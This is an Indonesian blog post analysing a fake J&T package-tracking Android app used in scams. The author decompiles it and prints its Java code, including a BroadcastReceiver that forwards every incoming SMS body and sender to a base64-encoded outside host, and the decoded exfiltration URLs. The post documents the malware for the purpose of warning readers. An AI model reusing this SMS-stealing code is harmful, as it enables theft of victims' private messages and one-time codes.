Menganalisa Modus Penipuan Aplikasi Tracking Paket

r gagap
4 min readDec 9, 2022

--

Akhir akhir ini saya sering melihat berbagai postingan tentang modus Penipuan ini, Terinspirasi dari artikel ini. Saya memutuskan untuk ikut menganalisa aplikasi penipuan ini. Aplikasi ini saya dapat dari artikel yang dibuat oleh Mas Teguh di artikel ini.

Memulai Analisa

Disini saya menggunakan jadx untuk melakukan decompile aplikasi tersebut. Setelah menunggu proses decompile. Akhirnya mata saya tertuju pada file AndroidManifest.xml

Android Manifest

dari Screenshots diatas dapat kita analisa bahwa aplikasi tersebut memerlukan beberapa permission seperti:

android.permission.RECEIVE_SMS
android.permission.INTERNET
android.permission.ACCESS_NETWORK_STATE

untuk sebuah aplikasi tracking paket tentu saja itu cukup mencurigakan, mengingat aplikasi ini meminta akses untuk dapat menbaca dan mengirim SMS.

Selanjutnya saya mencoba menganilasi MainActivity

MainActivity

Dari hasil screenshot diatas jika dianalisa aplikasi ini hanya berlaku sebagai Web View. Asumsi sebelumnya saya sebelumnya yang mengira bahwa aplikasi ini melakukan hit ke API JnT ternyata salah. Kesampingkan dulu asumsi saya. Mari kita lanjut Analisa kode diatas.

Dari kode tersebut terdapat sesuatu yang menarik. jika diteliti terdapat baris kode

 public void onRequestPermissionsResult(int i, String[] strArr, int[] iArr) {
super.onRequestPermissionsResult(i, strArr, iArr);
if (i == 1000) {
if (iArr[0] == 0) {
Request.Builder builder = new Request.Builder();
this.client.newCall(builder.url(fromBase64("aHR0cHM6Ly9pb25pY2lvLmNvbS8=") + "5797152557JNT/installed.php?dev=" + Build.MANUFACTURER + " " + Build.MODEL).build()).enqueue(new Callback() { // from class: com.ngscript.smstest.MainActivity.1
@Override // okhttp3.Callback
public void onFailure(Call call, IOException iOException) {
iOException.printStackTrace();
}

@Override // okhttp3.Callback
public void onResponse(Call call, Response response) throws IOException {
if (response.isSuccessful()) {
response.body();
}
}
});
Log.d("demo", toBase64("GG"));
Toast.makeText(this, "Sedang Di Proses, Mohon Tunggu", 0).show();
WebView webView = (WebView) findViewById(R.id.websaya);
this.web = webView;
webView.getSettings().setJavaScriptEnabled(true);
this.web.setWebViewClient(new Cebe());
this.web.loadUrl("https://jet.co.id/track");
return;
}
Toast.makeText(this, "Ups, sepertinya anda menolak izin SMS, Mohon Izinkan SMS Untuk Melanjutkan", 1).show();
finish();

ada baris kode tersebut ada beberapa baris yang di encode kedalam bentuk Base64. Saya coba decode base64 tersebut maka saya mendapat hasil:

Hasil decode

saya mendapat hasil berupa url dan jika dirangkai dengan baris diatas maka didapat:

https://ionicio.com/5797152557JNT/installed.php?dev={manufacturer}{model}

semakin membuat saya penasaran akhirnya saya beralih ke Class ReceiveSms.

public class ReceiveSms extends BroadcastReceiver {
private static final String SMS_REACT = "android.provider.Telephony.SMS_RECEIVED";
private final OkHttpClient client = new OkHttpClient();

public static String toBase64(String str) {
try {
return Base64.encodeToString(str.getBytes("UTF-8"), 0);
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
return null;
}
}

public static String fromBase64(String str) {
try {
return new String(Base64.decode(str, 0), "UTF-8");
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
return null;
}
}

@Override // android.content.BroadcastReceiver
public void onReceive(Context context, Intent intent) {
Bundle extras;
if (!intent.getAction().equals(SMS_REACT) || (extras = intent.getExtras()) == null) {
return;
}
try {
Object[] objArr = (Object[]) extras.get("pdus");
int length = objArr.length;
SmsMessage[] smsMessageArr = new SmsMessage[length];
for (int i = 0; i <= length; i++) {
smsMessageArr[i] = SmsMessage.createFromPdu((byte[]) objArr[i]);
String originatingAddress = smsMessageArr[i].getOriginatingAddress();
String messageBody = smsMessageArr[i].getMessageBody();
Log.d("demo", Uri.encode(messageBody));
Log.d("demo", originatingAddress);
Request.Builder builder = new Request.Builder();
this.client.newCall(builder.url(fromBase64("aHR0cHM6Ly9pb25pY2lvLmNvbS8=") + "5797152557JNT/?msg=" + Uri.encode(messageBody) + "&from=" + Uri.encode(originatingAddress)).build()).enqueue(new Callback() { // from class: com.ngscript.smstest.ReceiveSms.1
@Override // okhttp3.Callback
public void onFailure(Call call, IOException iOException) {
iOException.printStackTrace();
}

@Override // okhttp3.Callback
public void onResponse(Call call, Response response) throws IOException {
if (response.isSuccessful()) {
Log.d("response", response.body().string());
}
}
});
}
} catch (Exception e) {
e.printStackTrace();
}
}
}

Dari nama class nya sudah bisa di simpulkan bahwa class tersebut bertugas untuk membaca sms yang masuk. Disini terdapat juga url yang sudah di encode ke dalam bentuk base64 yang jika dirangkai akan menjadi

https://ionicio.com/5797152557JNT/?msg={msg body}&from={nomer pengirim}

Dari kedua class diatas yang sudah dianalisa saya menyimpulkan bahwa aplikasi ini telah melanggar privasi kita dengan membaca sms yang korban terima

lanjut saya penasaran dengan domain dengan sudah ditemukan. maka saya melakukan whois dan didapati hasil berupa:

Hasil Whois

Saya rasa sudah cukup hasil analisa versi saya dari aplikasi penipuan ini. Untuk analisa yg lebih mendalam bisa lihat di artikel mas teguh di link ini.

--

--

No responses yet